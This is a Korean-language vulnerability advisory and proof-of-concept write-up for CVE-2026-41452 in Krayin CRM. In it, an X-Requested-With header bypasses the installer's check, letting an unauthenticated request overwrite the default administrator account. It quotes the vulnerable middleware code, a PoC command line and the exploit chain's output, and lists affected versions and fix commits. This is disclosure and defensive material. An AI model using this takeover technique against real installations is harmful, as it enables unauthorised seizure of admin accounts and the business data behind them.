
CVE-2026-41452 — Krayin CRM 비인증 설치 프로그램 우회(X-Requested-With) → 관리자 계정 탈취. 검증됨: 2.2.4에서 덮어쓰기 + 로그인, 2.2.5에서 차단됨
CVSS 9.8 (치명적) · CWE-287 / CWE-306 · Jiva 분석 · VulnCheck 권고
Krayin CRM의 설치 프로그램은 POST /install/api/admin-config-setup (및 run-migration,
run-seeder)을 CSRF 보호 없이 (withoutMiddleware('web') 그룹) 노출합니다. CanInstall
전역 미들웨어는 AJAX가 아닌 요청에 대해서만 해당 라우트를 차단합니다:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
X-Requested-With: XMLHttpRequest 헤더를 보내면 이 검사가 완전히 우회됩니다. 그러면 컨트롤러는
**하드코딩된 기본 관리자(사용자 id=1)**를 공격자가 제공한 이름/이메일/비밀번호
(role_id=1, status=1)로 updateOrInsert합니다 → 이미 설치된 인스턴스에서
인증 없는 완전한 관리자 탈취가 가능합니다.
영향받는 버전: ≤ 2.2.0 및 2.2.4 (회귀). 수정: 2.2.1 (e4eb96f5), 2.2.4에서 회귀
(6a7bc4cc), 2.2.5에서 재수정 (ea4919a8). 연구 시점에 master 브랜치는 여전히 취약했습니다.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
공격 체인:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → 관리자(id=1) 덮어쓰기/admin/login에 로그인 → /admin/dashboard로 리디렉션[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
수정된 빌드 비교: v2.2.5 파일에서는 동일한 AJAX POST → HTTP 403 (차단됨).
공개적으로 접근 가능한 모든 Krayin CRM 설치본(v2.2.4 또는 ≤2.2.0)은 인증되지 않은 공격자에 의해 단 한 번의 요청으로 완전히 장악될 수 있습니다. CSRF도, 자격 증명도, 사용자 상호작용도 필요하지 않습니다.
ea4919a8 (v2.2.5) · 회귀: 6a7bc4cc (v2.2.4) · 최초 수정: e4eb96f5 (v2.2.1)